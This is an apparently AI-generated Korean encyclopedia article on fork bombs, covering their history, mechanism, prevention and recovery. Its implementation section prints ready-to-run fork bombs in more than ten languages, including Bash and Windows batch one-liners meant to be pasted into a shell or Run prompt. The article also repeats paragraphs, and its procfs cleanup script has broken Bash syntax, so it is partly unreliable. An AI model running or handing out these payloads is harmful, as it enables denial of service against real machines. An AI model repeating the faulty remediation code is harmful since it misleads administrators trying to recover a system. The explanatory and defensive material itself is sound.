맨위로가기

포크 폭탄

"오늘의AI위키"는 AI 기술로 일관성 있고 체계적인 최신 지식을 제공하는 혁신 플랫폼입니다.
"오늘의AI위키"의 AI를 통해 더욱 풍부하고 폭넓은 지식 경험을 누리세요.

1. 개요

포크 폭탄은 시스템의 CPU와 프로세스 테이블을 고갈시켜 시스템의 작동을 방해하는 악성 코드의 일종이다. 주로 자기 자신을 복제하는 무한 루프를 통해 다수의 프로세스를 생성하여 시스템 자원을 소모시킨다. 포크 폭탄은 셸 스크립트, C/C++, Perl, Python, Ruby, Java, 어셈블리어, 배치 파일, 파워셸, 자바스크립트 등 다양한 프로그래밍 언어로 구현될 수 있으며, 유닉스 계열 시스템에서는 `fork` 시스템 콜을, 윈도우 시스템에서는 새로운 프로세스 생성 방식을 활용한다. 포크 폭탄을 예방하기 위해서는 사용자별 프로세스 수를 제한하는 것이 일반적이며, 리눅스에서는 `ulimit` 유틸리티, `/etc/security/limits.conf` 파일 등을 통해, FreeBSD에서는 `/etc/login.conf` 파일을 통해 프로세스 제한을 설정할 수 있다. 포크 폭탄이 실행된 경우에는 시스템 재부팅, `killall` 명령어를 사용한 프로세스 강제 종료, procfs를 활용한 프로세스 종료 등의 방법으로 대처할 수 있다.

더 읽어볼만한 페이지

  • 프로세스 - 문맥 교환
    문맥 교환은 운영 체제에서 CPU가 여러 프로세스나 스레드를 번갈아 실행하기 위해 현재 작업 상태를 저장하고 다른 작업 상태를 복원하는 과정으로, 멀티태스킹 환경에서 필수적인 기술이며 프로세스 제어 블록을 통해 관리된다.
  • 프로세스 - 데몬 (컴퓨팅)
    데몬은 운영 체제에서 사용자와 상호 작용 없이 백그라운드에서 실행되며 시스템의 다양한 작업을 처리하는 프로세스이다.
  • 서비스 거부 공격 - 2011년 재보궐선거 사이버테러 사건
    2011년 재보궐선거 사이버테러 사건은 2011년 10월 26일 재보궐선거 당일 중앙선거관리위원회와 박원순 서울시장 후보 웹사이트에 발생한 분산 서비스 거부 공격 사건으로, 한나라당 최구식 의원의 비서 공현민이 공격을 주도하여 관련자들이 처벌받았으며, 정치적 파장을 일으켜 최구식 의원의 사퇴와 한나라당의 쇄신으로 이어졌다.
  • 서비스 거부 공격 - 슬래시닷 효과
    슬래시닷 효과는 인기 웹사이트의 언급으로 인해 특정 웹사이트에 갑자기 많은 사용자가 몰려 접속 불능 상태가 되는 현상을 의미하며, 이는 대역폭 초과나 서버 과부하로 발생하고, 콘텐츠 미러링 등의 방법으로 완화한다.
포크 폭탄
기본 정보
이름포크 폭탄
다른 이름래빗 바이러스 (Rabbit virus), 와빗 (Wabbit)
유형서비스 거부 공격
분류악성 소프트웨어
상세 정보
설명자기 자신의 복사본을 계속 생성하여 시스템 자원을 소모시키는 서비스 거부 공격의 한 형태이다.
작동 원리프로세스를 무한정 복제하여 시스템의 프로세스 테이블을 가득 채우거나, 메모리 또는 디스크 공간과 같은 다른 자원을 소진시킨다.
결과시스템의 응답성을 저하시키거나 완전히 멈추게 할 수 있다.
구현 방법셸 스크립트: 간단한 명령어로 구현 가능 (예: `:(){ :|:& };:`)
C 프로그램: `fork()` 함수를 사용하여 프로세스 복제
예방 방법프로세스 생성 제한: 사용자가 생성할 수 있는 최대 프로세스 수 제한
자원 제한: 프로세스가 사용할 수 있는 자원 (메모리, CPU 시간 등) 제한
악성 코드 방지 소프트웨어: 포크 폭탄을 탐지하고 차단
역사
어원프로세스를 "fork"하는 방식에서 유래
최초 발생 시기초기 유닉스 시스템에서 발생
기술적 세부 사항
기술적 설명포크 폭탄은 일반적으로 매우 짧은 프로그램으로, 주된 기능은 새로운 프로세스를 반복적으로 생성하는 것이다.
각 새로운 프로세스는 원래 프로세스의 복사본이며, 동일한 코드를 실행한다.
이러한 프로세스들은 시스템 자원을 빠르게 소모하여 결국 시스템을 마비시킨다.
추가 정보
참고 사항포크 폭탄은 시스템 관리자와 개발자에게 중요한 보안 문제이다.
적절한 예방 조치를 통해 시스템을 보호할 수 있다.

2. 역사

포크 폭탄의 초기 형태는 1969년 워싱턴 대학교의 버로스 5500 시스템에서 보고된 "RABBITS" 공격으로 거슬러 올라간다.[22] 1978년경에는 "wabbit"이라는 이름의 변종이 시스템/360에서 실행된 것으로 보고되었다.[22]

3. 작동 원리

포크 폭탄은 포크 과정에서 CPU 시간을 소비하고 운영 체제의 프로세스 테이블을 가득 채워 작동한다.[23][24] 기본적인 포크 폭탄은 자신을 반복적으로 복제하여 실행하는 무한 루프이다.

유닉스 계열 운영 체제에서 포크 폭탄은 일반적으로 fork 시스템 호출을 사용한다.[24] 포크된 프로세스들은 최초 프로그램의 사본이므로 콜 스택의 다음 주소로부터 실행을 계속하면, 동일한 무한 루프 내에서 무한히 포크를 계속하게 된다. 이는 프로세스의 지수적 성장을 일으킨다. 현대의 유닉스 시스템은 새 프로세스를 포크할 때 카피 온 라이트 자원 관리를 사용하지만,[25] 포크 폭탄은 일반적으로 시스템 메모리를 포화시키지는 않는다.

마이크로소프트 윈도우 운영 체제는 유닉스의 fork 시스템 호출과 동일한 기능을 갖추고 있지 않다.[26] 따라서 윈도우에서는 포크 폭탄이 기존 프로세스에서 포크하는 대신 새 프로세스를 만들어야 한다.

포크 폭탄은 빠른 속도로 다수의 프로세스를 생성하여 운영 체제의 프로세스 테이블을 채운다. 프로세스 테이블이 가득 차면, 다른 프로세스를 종료하지 않는 한 새로운 프로세스를 생성할 수 없다. 또한, 포크 폭탄의 프로세스들은 비어 있는 프로세스 슬롯을 빠르게 채우려고 대기한다.

포크 폭탄은 프로세스 테이블뿐만 아니라 프로세서 시간과 메모리도 점유한다. 그 결과 다른 프로세스나 시스템은 동작이 느려지거나 작동 불능 상태가 된다.

악의적인 목적으로 실행되기도 하지만, 일반적인 소프트웨어 개발 과정에서 우연히 발생할 수도 있다. 예를 들어, 네트워크 소켓에서 요청을 대기하는 클라이언트 서버 모델서버 프로그램에서 무한 루프와 fork를 이용해 자식 프로세스를 생성하는 경우, 버그로 인해 포크 폭탄처럼 작동할 수 있다.

4. 구현체

포크 폭탄은 다양한 프로그래밍 언어로 구현할 수 있다.

유닉스 계열 운영 체제에서 포크 폭탄은 일반적으로 `fork` 시스템 호출을 사용한다.[24] 포크된 프로세스들은 최초 프로그램의 사본이므로 콜 스택의 다음 주소로부터 실행을 계속 이어나가 동일한 무한 루프 내에서 무한히 포크를 계속하게 된다. 이는 프로세스의 지수적 성장을 일으킨다. 현대의 유닉스 시스템은 새 프로세스를 포크할 때 카피 온 라이트 자원 관리를 하는 것이 일반적이지만,[25] 포크 폭탄은 이러한 시스템의 메모리를 포화시키지는 않는다.

마이크로소프트 윈도우 운영 체제는 유닉스의 `fork` 시스템 호출과 동일한 기능을 갖추고 있지 않다.[26] 따라서 윈도우에서 포크 폭탄은 기존의 것에서 포크하지 않고 새 프로세스를 만드는 방식으로 구현된다.

4. 1. 셸 스크립트

bash

:(){ :|:& };:

```

Bash에서 널리 알려진 포크 폭탄 예시이다. 이 코드는 ':'라는 이름의 함수를 정의하고, 그 함수 내에서 자신을 재귀적으로 호출하며 백그라운드에서 실행한다. ':' 함수는 자신을 호출하고 그 결과를 다시 자신에게 파이프로 연결하는 무한 재귀 호출을 만들어낸다. 백그라운드에서 실행(&)되기 때문에, 부모 프로세스를 종료해도 자식 프로세스는 계속 실행되어 시스템 자원을 고갈시킨다.[27]

이해하기 쉬운 형태로 표현하면 다음과 같다.

```bash

forkbomb(){ forkbomb|forkbomb & } ; forkbomb

```

여기서 `forkbomb`는 함수 이름이고, `forkbomb | forkbomb &`는 `forkbomb` 함수를 호출하고 그 출력을 다시 `forkbomb` 함수에 파이프로 연결하며 백그라운드에서 실행하는 것을 의미한다. 마지막 `forkbomb`는 정의된 함수를 실행하는 부분이다.

```shell

#!/bin/sh

./$0|./$0&

```

셸 스크립트를 이용한 또 다른 포크 폭탄의 예시이다. `$0`는 스크립트 자신의 이름을 나타내는 환경 변수이다. `./$0|./$0&`는 스크립트 자신을 실행하고 그 출력을 다시 자기 자신에게 파이프로 연결하며 백그라운드에서 실행하는 것을 의미한다.

4. 2. C/C++

c

#include

int main()

{

while(1)

fork();

return 0;

}

```

위 코드는 C 또는 C++로 작성된 포크 폭탄의 예시이다. 이 코드는 `fork()` 시스템 콜을 사용하여 무한 루프 내에서 새로운 프로세스를 계속 생성한다.[2][3] `fork()`는 현재 프로세스의 복사본을 생성하는 시스템 호출이며, 이로 인해 프로세스가 지수적 성장을 하게 된다. 현대 유닉스 시스템은 카피 온 라이트 자원 관리 기술을 사용하므로,[4] 포크 폭탄이 메모리를 완전히 소모시키지는 않는다.

4. 3. Perl

perl

fork while fork

```

Perl에서도 `fork` 함수를 사용하여 포크 폭탄을 구현할 수 있다. 이는 CPU를 포킹하는 과정에서 소비하고 운영 체제의 프로세스 테이블을 포화시키는 방식으로 작동한다.[2][3]

4. 4. Python

python

import os

while True:

os.fork()

```

Python으로 작성된 포크 폭탄 예시이다. 이 코드는 무한 루프를 돌면서 `os.fork()` 함수를 계속 호출한다. `os.fork()`함수를 호출하면, 운영 체제는 현재 프로세스를 복제하여 새로운 자식 프로세스를 생성한다. 이 자식 프로세스는 부모 프로세스와 동일한 코드를 실행하며, 다시 `os.fork()`를 호출하여 또 다른 자식 프로세스를 생성한다. 이러한 과정이 무한히 반복되면서 시스템 자원을 고갈시킨다.[2][3]

4. 5. Ruby

ruby

def forkbomb

loop { fork { forkbomb } }

end; forkbomb

```

Ruby에서도 `fork`를 사용하여 포크 폭탄을 구현할 수 있다.[2][3]

4. 6. Java

Java에서는 새로운 프로세스를 실행하는 방식으로 포크 폭탄을 구현할 수 있다. 다음은 Java로 작성된 포크 폭탄의 예시이다.

```java

public class ForkBomb

{

public static void main(String[] args)

{

while (true)

{

Runtime.getRuntime().exec(new String[]{"javaw", "-cp", System.getProperty("java.class.path"), "ForkBomb"});

}

}

}

```

이 코드는 무한 루프를 돌면서 `javaw` 명령어를 사용하여 `ForkBomb` 클래스를 계속 실행한다. 이는 지수적 성장을 일으켜 시스템 자원을 고갈시킨다.[2][3]

4. 7. 어셈블리 (IA-32, Linux)

nasm

section .text

global _start

_start:

mov eax,2 ;System call for forking

int 0x80 ;Call kernel

jmp _start

```

어셈블리어를 사용하여 직접 시스템 호출을 제어하여 포크 폭탄을 만들 수도 있다. 위의 코드는 IA-32 아키텍처(리눅스) 환경에서 작동하는 포크 폭탄의 예시이다. `mov eax, 2`는 시스템 콜 번호 2번, 즉 `fork`를 호출하기 위한 준비 작업이며, `int 0x80`은 커널을 호출하여 실제로 `fork`를 실행한다. `jmp _start`는 다시 `_start` 레이블로 점프하여 무한 루프를 형성한다.[2][3]

4. 8. 배치 파일 (Windows)

batch

:ForkBomb

start

goto ForkBomb

```

위 코드는 무한 반복을 통해 계속해서 새 프로세스를 시작하는 간단한 배치 파일 포크 폭탄이다. 더 짧게는 다음과 같이 작성할 수도 있다.

```dos

%0 | %0

```

이 코드는 현재 실행 중인 배치 파일(`%0`)을 자기 자신에게 파이프(`|`)하여 무한히 반복 실행한다.

이스케이프 특수문자 `^`를 사용하면 명령 줄에서 직접 실행 가능한 배치 파일을 만들 수 있다.

```dos

echo %0^|%0 >forkbomb.bat & forkbomb.bat

```

이 코드는 `%0^|%0`를 `forkbomb.bat` 파일에 쓰고, 그 파일을 실행한다. 더 짧게는 다음과 같이 작성할 수도 있다.

```dos

echo.%0^|%0>$_.cmd&$_>nul

```

"실행..." 프롬프트에서 직접 실행할 수 있는 간결한 버전은 다음과 같다.

```dos

cmd /k echo -^|->-.bat&-

```

마이크로소프트 윈도우 운영 체제는 유닉스 fork 시스템 콜과 동등한 기능을 가지고 있지 않다.[5] 따라서 윈도우 환경에서 포크 폭탄은 기존 프로세스에서 포킹하는 대신 새로운 프로세스를 생성해야 한다.[6]

4. 9. 파워셸

powershell

while ($true) {

Start-Process powershell.exe -ArgumentList "-NoExit", "Get-ChildItem -Recurse C:";

Invoke-Expression -Command 'while($true) {Start-Process powershell.exe -ArgumentList "-NoExit", "Get-ChildItem -Recurse C:"}';

}

```

위 코드는 파워셸 스크립트를 사용하여 포크 폭탄을 구현한 예시이다. 이 스크립트는 무한 반복문을 통해 `powershell.exe` 프로세스를 계속 생성하며, 각 프로세스는 C 드라이브의 모든 하위 항목을 재귀적으로 가져오는 작업을 수행한다.[2][3]

4. 10. 자바스크립트

javascript

(f => f(f))(async f => f(f) && f(f));

```

자바스크립트에서도 재귀 호출을 사용하여 포크 폭탄과 유사한 동작을 구현할 수 있다. 위 코드는 재귀 함수를 이용하여 무한히 자기 자신을 호출하는 방식으로 작동한다.

5. 예방

포크 폭탄을 예방하는 가장 일반적인 방법은 단일 사용자가 소유할 수 있는 프로세스 수를 제한하는 것이다. 리눅스에서는 `ulimit` 유틸리티를 사용하여 이를 수행할 수 있다. 예를 들어 `ulimit -u 30` 명령을 실행하면 영향을 받는 사용자가 최대 30개의 프로세스를 소유할 수 있게 된다.[28] PAM을 사용하는 시스템에서는 /etc/security/limits.conf에서 이 제한을 설정할 수 있다.[29] FreeBSD에서는 시스템 관리자가 /etc/login.conf에 제한을 추가할 수 있다.[30] 최신 리눅스 시스템은 cgroups와 PID 컨트롤러를 통해 더 세분화된 포크 폭탄 방지를 제공한다.[31]

6. 대처

포크 폭탄이 실행된 경우, 시스템을 재부팅하는 것이 가장 확실한 해결 방법일 수 있다. 그러나 시스템 관리자는 `killall`과 같은 명령어를 사용하여 포크 폭탄 프로세스를 강제 종료시킬 수 있다. 리눅스에서는 procfs를 활용하여 프로세스를 종료시킬 수도 있다. 윈도우에서는 포크 폭탄을 시작한 사용자를 로그아웃시키는 것이 도움이 될 수 있다.

실제 상황에서 시스템 관리자는 비교적 쉽게 포크 폭탄을 억제할 수 있다. 예를 들어 셸 버전 포크 폭탄의 경우, 부모 프로세스가 시스템에 남아있지 않고 바로 종료되기 때문에, 포크 폭탄은 프로세스 테이블을 채우는 동시에 잇따라 종료된다. 따라서 충분히 자주 새로운 프로세스를 시작하면 포크 폭탄 이외의 프로세스를 시작할 가능성이 있으며, 결국 포크 폭탄 프로세스의 개수를 줄여 제거할 수도 있다.

포크 폭탄 프로세스 그룹을 중지시킨 후 종료하려면 다음 명령어를 입력한다.

```bash

killall -STOP processWithBombName

killall -KILL processWithBombName

```

하지만 `killall` 명령은 원자적으로 작동하지 않기 때문에, 시그널을 보내기 전 대상 프로세스가 종료되고 포크 폭탄이 여러 세대 앞서 진행되었을 가능성이 있다.

리눅스에서는 procfs에서 프로세스 테이블에 접근할 수 있으므로, bash의 내장 기능을 사용하여 새 프로세스를 생성하지 않고도 포크 폭탄 프로세스를 종료할 수 있다. 다음은 procfs를 사용하여 문제의 프로세스를 특정하고 중지 및 종료시키는 예시이다.

```bash

cd /proc;

for p in [0-9]*; do read CMDLINE < $p/cmdline; if $CMDLINE == "processWithBombName"; then kill -s SIGSTOP $p; fi; done

for p in [0-9]*; do read CMDLINE < $p/cmdline; if $CMDLINE == "processWithBombName"; then kill -s SIGKILL $p; fi; done

7. 추가 정보

일반적인 소프트웨어 개발 과정에서도 버그로 인해 우발적인 포크 폭탄이 발생할 수 있다. 네트워크 소켓에서 요청을 대기하는 클라이언트 서버 모델서버 프로그램은 무한 루프 상태인 경우가 많으며, fork를 통해 자식 프로세스를 생성한다. 이러한 애플리케이션에 버그가 있으면 평가 중에 포크 폭탄처럼 작동할 수 있다.

참조

[1] 웹사이트 wabbit http://catb.org/~esr[...] The Jargon Lexicon 2013-10-15
[2] 서적 Secure Computer and Network Systems: Modeling, Analysis and Design John Wiley & Sons
[3] 서적 Network Dictionary
[4] 서적 Operating Systems: A Concept-based Approach McGraw-Hill Higher Education 2006
[5] 서적 Python Programming On Win32: Help for Windows Programmers "O'Reilly Media, Inc."
[6] Youtube "@echo.%0^{{!}}%0›$^_^.c^md&$_›nul" https://www.youtube.[...] 2024-06-26
[7] 간행물 '[RHSA-1999:028-01] Buffer overflow in libtermcap tgetent()' https://groups.googl[...] 1999-08-19
[8] 웹사이트 The Open Group Base Specifications Issue 7, 2018 edition IEEE Std 1003.1™-2017 Section 3.235 https://pubs.opengro[...] The Open Group/IEEE
[9] 웹사이트 The GNU Bash Reference Manual, Section 3.3 https://www.gnu.org/[...] 2022-12-11
[10] 서적 Advanced Bash Scripting Guide
[11] 서적 Linux Administration: A Beginners Guide McGraw Hill Professional
[12] 서적 Absolute FreeBSD: The Complete Guide to FreeBSD No Starch Press
[13] 웹사이트 Process Number Controller in Documentation/ as appeared in Linux kernel 5.3 https://www.kernel.o[...] 2019-10-08
[14] 문서 man page of fork http://www.freebsd.o[...]
[15] 문서 Understanding Bash fork() bomb ~ :(){ :|:& };: http://www.cyberciti[...]
[16] 문서 Wabbit in the Jargon File (The Hackers Dictionary) http://jazz.he.fi/ja[...]
[17] 문서 grsecurity Linux kernel patch http://grsecurity.ne[...]
[18] 문서 "`man ulimit` online copy of the man page." http://linux.die.net[...]
[19] 문서 "`man limits` online copy of the man page." http://linux.die.net[...]
[20] 문서 Linux kernel module for fork bomb prevention. http://rexgrep.tripo[...]
[21] 문서 FreeBSD - login.conf http://www.freebsd.o[...]
[22] 웹인용 wabbit http://catb.org/~esr[...] The Jargon Lexicon 2004-10-01
[23] 서적 Secure Computer and Network Systems: Modeling, Analysis and Design https://archive.org/[...]
[24] 서적 Network Dictionary https://archive.org/[...]
[25] 서적 Operating Systems: A Concept-based Approach 2006
[26] 서적 Python Programming On Win32: Help for Windows Programmers https://archive.org/[...]
[27] 뉴스 Fork() Bomb - GeeksforGeeks https://www.geeksfor[...] 2017-06-19
[28] 서적 Advanced Bash Scripting Guide
[29] 서적 Linux Administration: A Beginners Guide
[30] 서적 Absolute FreeBSD: The Complete Guide to FreeBSD
[31] 웹인용 Process Number Controller in Documentation/ as appeared in Linux kernel 5.3 https://www.kernel.o[...] 2019-10-08



본 사이트는 AI가 위키백과와 뉴스 기사,정부 간행물,학술 논문등을 바탕으로 정보를 가공하여 제공하는 백과사전형 서비스입니다.
모든 문서는 AI에 의해 자동 생성되며, CC BY-SA 4.0 라이선스에 따라 이용할 수 있습니다.
하지만, 위키백과나 뉴스 기사 자체에 오류, 부정확한 정보, 또는 가짜 뉴스가 포함될 수 있으며, AI는 이러한 내용을 완벽하게 걸러내지 못할 수 있습니다.
따라서 제공되는 정보에 일부 오류나 편향이 있을 수 있으므로, 중요한 정보는 반드시 다른 출처를 통해 교차 검증하시기 바랍니다.

문의하기 : help@durumis.com